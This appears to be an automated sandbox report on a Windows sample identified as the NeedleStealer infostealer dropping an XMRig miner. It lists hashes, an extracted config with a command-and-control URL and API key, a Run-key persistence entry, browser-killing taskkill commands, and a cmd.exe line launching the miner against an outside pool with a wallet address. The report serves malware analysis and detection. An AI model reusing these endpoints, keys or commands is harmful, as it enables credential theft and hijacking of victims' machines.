Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/07/2026, 22:31
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
file.exe
Resource
win11ltsc2024-20260709-en
General
- Target file.exe
- Size 10KB
- Sample260730-2fldaaycre
- SHA256 ca116b3d7caea85d448cc674087381d06902d80f2d2842e8dc22cd4b266379b5
- MD5 d24420d2f8ffbb8cec06376b9548ca1b
- SHA1 05b21b6fcf2b60f7e617ab76e62150b3dd7047b3
- SHA512 5974a9dcd93438908359ec3471611c65425d9d9f10f536392e832ab5113ea7ea05f31d7dae7bad44ea1f62d372f5fa8a1b8a243081c6148a275cb5c418d6cc3a
- SSDEEP 192:z0oVW0BJBqcx+ep/AX5PFJxTEZmFhSKcq:z0oLBecwCAX5PFwZ2
- TLSH T15722282E6E890072E79049F416B54A4D657E45732BC6B3EBF373C5990EEA2448042AEF
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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needle_stealer
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http://130.12.180.135:3000/api/v2
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api_key
alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f
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base_extension
false
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self_destruct
false
Signatures
- Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
- Detects NeedleStealer payload 1 IoCs
resource yara_rule behavioral2/files/0x000c00000001c5c0-10.dat family_needlestealer - XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/0x000c00000001c5c2-18.dat family_xmrig behavioral2/files/0x000c00000001c5c2-18.dat xmrig - Downloads MZ/PE file 2 IoCs
flow pid Process 4 3352 file.exe 5 2304 1380918317.exe - Executes dropped EXE 5 IoCs
pid Process 2304 1380918317.exe 1444 1556729747.exe 1976 sysmgnrsv.exe 1524 sysfrodolv.exe 2532 sysmgnrsv.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Config = "\\sysfrodolv.exe" 1380918317.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3792 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language file.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1380918317.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sysfrodolv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 6 Go-http-client/1.1 - Kills process with taskkill 3 IoCs
pid Process 1848 taskkill.exe 4576 taskkill.exe 256 taskkill.exe - Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe 1444 1556729747.exe - Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 1444 1556729747.exe Token: SeDebugPrivilege 4576 taskkill.exe Token: SeDebugPrivilege 1848 taskkill.exe Token: SeDebugPrivilege 256 taskkill.exe Token: SeLockMemoryPrivilege 2532 sysmgnrsv.exe Token: SeLockMemoryPrivilege 2532 sysmgnrsv.exe Token: SeIncBasePriorityPrivilege 2532 sysmgnrsv.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2532 sysmgnrsv.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3352 wrote to memory of 2304 3352 file.exe 89 PID 3352 wrote to memory of 1444 3352 file.exe 90 PID 1444 wrote to memory of 1848 1444 1556729747.exe 91 PID 1444 wrote to memory of 4576 1444 1556729747.exe 92 PID 1444 wrote to memory of 256 1444 1556729747.exe 96 PID 2304 wrote to memory of 1976 2304 1380918317.exe 98 PID 2304 wrote to memory of 1524 2304 1380918317.exe 100 PID 1524 wrote to memory of 3792 1524 sysfrodolv.exe 102 PID 3792 wrote to memory of 2532 3792 cmd.exe 104
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3352 -
C:\Users\Admin\AppData\Local\Temp\1380918317.exeC:\Users\Admin\AppData\Local\Temp\1380918317.exe2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2304 -
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe3⤵
- Executes dropped EXE
PID:1976
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C:\sysfrodolv.exe\sysfrodolv.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=254⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3792 -
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=255⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2532
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C:\Users\Admin\AppData\Local\Temp\1556729747.exeC:\Users\Admin\AppData\Local\Temp\1556729747.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1848
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C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4576
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C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:256
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\1380918317.exe
- Size 12KB
- SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
- MD5 07bd5d0edaca14204802b8ff7db346ce
- SHA1 660784d4aa65c5914978fae86d4f493e26a9b2b1
- SHA512 7ba6ede3f8f94eda823241898465fcd71ac5935ed46ed679a525360d44ab6eb9a1298bd7c1c0e7fab28fe096471a62a014c8e147abf752d42118d880b4ad614e
- SSDEEP 192:PeeTbgOhmKM84zleg7zL/mmPJxTZ3lk9nAthBsuNOk:mITwG4z0A2oZK9nABsk
- TLSH T1D3421A07AD998121E7F00DB1147E924B86BD3D723BD5AC9FA700F5462DB17A0C472A7D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\1556729747.exe
- Size 8.3MB
- SHA256 ed1d3f69fbbd5576c2ed8dba45ba22c4f6884eb311d4f6e389203846d512ec11
- MD5 2cfaefe80e05fe0f093cf5c382d7c77f
- SHA1 c2ad2a5b5cd45e6f574d86b6e5b1079ed3063933
- SHA512 d75a4743bcb6fa5d879e06ef83536c00408434dff59aee6a182745fe43f57099d9cf3e85cbc149960846ae1d5d4d5cce790baa717f089afbc96bfdf771b1a3d7
- SSDEEP 98304:aoM7vbdbj6O/qZLw5tfjf8Bwm1sDjNXX5Ikr3aX5svhUE:aoMLbdbWO/eLafjUBD1+jNnSMq+t
- TLSH T131968D07EC9155A9C0AAE6358A729253BA717C485B3123D73F90F7382F73BD06AB8750
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\sysmgnrsv.exe
- Size 6.2MB
- SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
- MD5 ac458ece671fdde066ce60e448f12bc0
- SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
- SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
- SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
- TLSH T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
- MD5 SHA1 SHA512 SSDEEP TLSH